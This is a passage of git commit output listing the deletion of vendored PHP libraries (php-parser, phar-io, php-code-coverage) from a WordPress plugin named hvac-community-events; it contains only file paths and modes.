wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Declare_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Do_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Echo_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ElseIf_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Else_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/EnumCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Enum_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Expression.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Finally_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/For_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Foreach_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Function_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Global_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Goto_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/GroupUse.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/HaltCompiler.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/If_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/InlineHTML.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Interface_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Label.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Namespace_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Nop.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Property.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/PropertyProperty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Return_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/StaticVar.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Static_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Switch_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUse.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation/Alias.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation/Precedence.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Trait_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TryCatch.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Unset_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/UseUse.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Use_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/While_.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/UnionType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/UseItem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/VarLikeIdentifier.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/VariadicPlaceholder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeAbstract.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeDumper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeFinder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeTraverserInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CloningVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CommentAnnotatingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FindingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/FirstFindingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NameResolver.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NodeConnectingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/ParentConnectingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitorAbstract.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Parser.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Parser/Php7.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Parser/Php8.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ParserAbstract.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ParserFactory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PhpVersion.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinter/Standard.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinterAbstract.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Token.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/compatibility_tokens.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/.github/FUNDING.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/.github/workflows/ci.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/.php-cs-fixer.dist.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/CHANGELOG.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/composer.lock delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/manifest.xsd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestDocumentMapper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestLoader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestSerializer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ElementCollectionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidEmailException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidUrlException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentLoadingException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestElementException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestLoaderException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/NoEmailAddressException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Application.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/ApplicationName.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Author.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/AuthorCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/AuthorCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponent.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponentCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponentCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/CopyrightInformation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Email.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Extension.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Library.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/License.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Manifest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/PhpExtensionRequirement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/PhpVersionRequirement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Requirement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/RequirementCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/RequirementCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Type.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Url.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/AuthorElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/AuthorElementCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/BundlesElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ComponentElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ComponentElementCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ContainsElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/CopyrightElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ElementCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtElementCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtensionElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/LicenseElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ManifestDocument.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ManifestElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/PhpElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/RequiresElement.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/tools/php-cs-fixer.d/PhpdocSingleLineVarFixer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/tools/php-cs-fixer.d/header.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/CHANGELOG.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/BuildMetaData.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/PreReleaseSuffix.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/Version.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionConstraintParser.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionConstraintValue.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionNumber.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AbstractVersionConstraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AndVersionConstraintGroup.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AnyVersionConstraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/ExactVersionConstraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/OrVersionConstraintGroup.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/VersionConstraint.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/InvalidVersionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/NoBuildMetaDataException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/NoPreReleaseSuffixException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/exceptions/UnsupportedVersionConstraintException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/ChangeLog-9.2.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/README.md delete mode 100755 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/build/scripts/extract-release-notes.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/CodeCoverage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Driver.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/PcovDriver.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Selector.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ParserException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ReflectionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/XmlException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Filter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/AbstractNode.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Builder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/CrapIndex.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Directory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/File.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Iterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/RawCodeCoverageData.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Clover.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Cobertura.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Crap4j.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Facade.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/branches.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/coverage_bar_branch.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/bootstrap.min.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/custom.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/nv.d3.min.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/octicons.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard.html.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/dashboard_branch.html.dist delete mode 100644 